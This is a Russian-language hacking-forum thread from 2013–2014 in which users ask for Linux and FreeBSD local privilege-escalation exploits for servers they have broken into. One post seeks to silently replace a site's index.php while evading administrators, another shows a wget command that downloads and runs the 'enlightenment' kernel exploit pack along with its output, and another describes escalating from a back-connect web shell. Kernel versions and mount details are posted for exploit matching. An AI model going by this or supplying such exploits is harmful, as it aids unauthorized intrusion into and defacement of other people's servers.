HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.12.2013, 12:23
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

er9j6@, что ты пробовал? Какие были ошибки?

CVE-2013-2094 Linux 2.6.32/2.6.37 - 3.8.10 PERF_EVENTS local root x86_64 (и x86)
 
Ответить с цитированием

  #2  
Старый 13.12.2013, 12:20
multichat
Guest
Сообщений: n/a
Провел на форуме:
744

Репутация: 0
По умолчанию

Linux webserver 2.6.26-2-amd64 #1 SMP Thu Nov 5 02:23:12 UTC 2009 x86_64

как сделать так чтобы незаметно можно было бы поменять индекс.пхп в корне папки (на которой неудается поменять права на 0777 ) ?

Какой експлоит нужен и как именно это зделать? Переискал вес инет нигде толком нету инфы .

Netcat лучше неиспользовать так как палиться сразу админами . Сайт Миллионик нехочеться потерять .

короче : какой експлоит нужен , где скачать , как и где его запустить и зделать так чтобы было бы незаметно? )

спасибо )
 
Ответить с цитированием

  #3  
Старый 13.12.2013, 12:38
multichat
Guest
Сообщений: n/a
Провел на форуме:
744

Репутация: 0
По умолчанию

запустил на сервере enlightment КУДА ПИСАТь ВЫБОР СПЛОИТА? 0 , 1 , 2 ??

Код:
Code:
$ wget http://www.grsecurity.net/~spender/exploits/enlightenment.tgz && tar -zxf enlightenment.tgz && cd enlightenment && ./run_null_exploits.sh
Compiling exp_abacus.c...OK.
Compiling exp_cheddarbay.c...OK.
Compiling exp_ingom0wnar.c...OK.
Compiling exp_moosecox.c...OK.
Compiling exp_paokara.c...OK.
Compiling exp_powerglove.c...OK.
Compiling exp_sieve.c...OK.
Compiling exp_therebel.c...OK.
Compiling exp_vmware.c...failed.
Compiling exp_wunderbar.c...OK.
 [+] MAPPED ZERO PAGE!
Choose your exploit:
 [0] Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root
 [1] MooseCox: Linux 2.6.31.1 eCryptfs local root
 [3] Powerglove: Linux 2.6.31 perf_counter local root
 [4] The Rebel: Linux   ------------------------------------------------------------------------------
 The work of an intellectual is not to mould the political will of others; it
 is, through the analyses that he does in his own field, to re-examine
 evidence and assumptions, to shake up habitual ways of working and thinking,
 to dissipate conventional familiarities, to re-evaluate rules and
 institutions and to participate in the formation of a political will (where
 he has his role as citizen to play). --Foucault
 ------------------------------------------------------------------------------
 [+] Resolved set_fs_root to 0xffffffff802af1ee
 [+] Resolved set_fs_pwd to 0xffffffff802af18e
Unable to acquire kernel symbols.  Copy the appropriate System.map to the current directory.
 
Ответить с цитированием

  #4  
Старый 20.12.2013, 17:49
goodmaer
Guest
Сообщений: n/a
Провел на форуме:
10175

Репутация: 0
По умолчанию

FreeBSD 6.4-STABLE FreeBSD 6.4-STABLE #1: Wed Oct 5 16:08:37 MSD 2011

http://www.exploit-db.com/exploits/16951/

Пробьет?может кто скомпилировать?
 
Ответить с цитированием

  #5  
Старый 22.12.2013, 03:44
goodmaer
Guest
Сообщений: n/a
Провел на форуме:
10175

Репутация: 0
По умолчанию

Как компилить сплоиты если нет gcc?
 
Ответить с цитированием

  #6  
Старый 22.12.2013, 06:01
Unknown
Guest
Сообщений: n/a
Провел на форуме:
8396

Репутация: 6
По умолчанию

goodmaer

Зависит от сплоита, если компилить удаленно, а потом портировать на уязвимую тачку и использовать, то могут потребоваться самые различные манипуляции(например, position-independent или static). Ну и разумеется, иметь схожий образ системы крайне желательно. И вообще, тот сплоит, что ты привел выше требует скомпиленное с нетграфами ядро, а это явление нечастое.
 
Ответить с цитированием

  #7  
Старый 26.01.2014, 12:42
Unknown
Guest
Сообщений: n/a
Провел на форуме:
9149

Репутация: 5
По умолчанию

Linux 2.6.32-39-generic #86-Ubuntu SMP Mon Feb 13 21:47:32 UTC 2012 i686

Ядру почти 2 года, но так ничего под него я и не нашел, может кто-то что-то подскажет.
 
Ответить с цитированием

  #8  
Старый 15.02.2014, 20:59
hakwar
Guest
Сообщений: n/a
Провел на форуме:
3011

Репутация: 0
По умолчанию

Подскажите эксплойт под

Linux 2.6.32-042stab081.5 #1 SMP Mon Sep 30 16:52:24 MSK 2013 x86_64 x86_64 x86_64 GNU/Linux
 
Ответить с цитированием

  #9  
Старый 16.03.2014, 08:00
Unknown
Guest
Сообщений: n/a
Провел на форуме:
15532

Репутация: 4
По умолчанию

Дополнение - на сервере нашлось некоторое количество файлов с 0777 правами за владением root/wheel. Я попробовал заменить содержимое на банальный "sudo что-нить" и запустить, но выдает sudo: sorry, you must have a tty to run sudo (работаю под веб шеллом с back-connect, подключиться по ssh похоже что никак).

Эти файлы как-то все же могут помочь в повышении прав?
 
Ответить с цитированием

  #10  
Старый 19.03.2014, 16:45
BuG_4F
Участник форума
Регистрация: 20.05.2008
Сообщений: 144
Провел на форуме:
1436858

Репутация: 171
Отправить сообщение для BuG_4F с помощью ICQ
По умолчанию

Помогите пожалуйста получить рут на этом сервере:

cat /proc/version

Цитата:
Сообщение от None  
Linux version 2.6.32-5-openvz-amd64 (Debian 2.6.32-46) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Sun Sep 23 11:32:18 UTC 2012
ls -la /boot

Цитата:
Сообщение от None  
total 8
drwxr-xr-x 2 root root 4096 May 1 2012 .
drwxr-xr-x 20 root root 4096 Feb 24 15:03 ..
mount

Цитата:
Сообщение от None  
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
/dev/simfs on / type simfs (rw,relatime)
cat /proc/sys/vm/mmap_min_addr

Цитата:
Сообщение от None  
65536
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ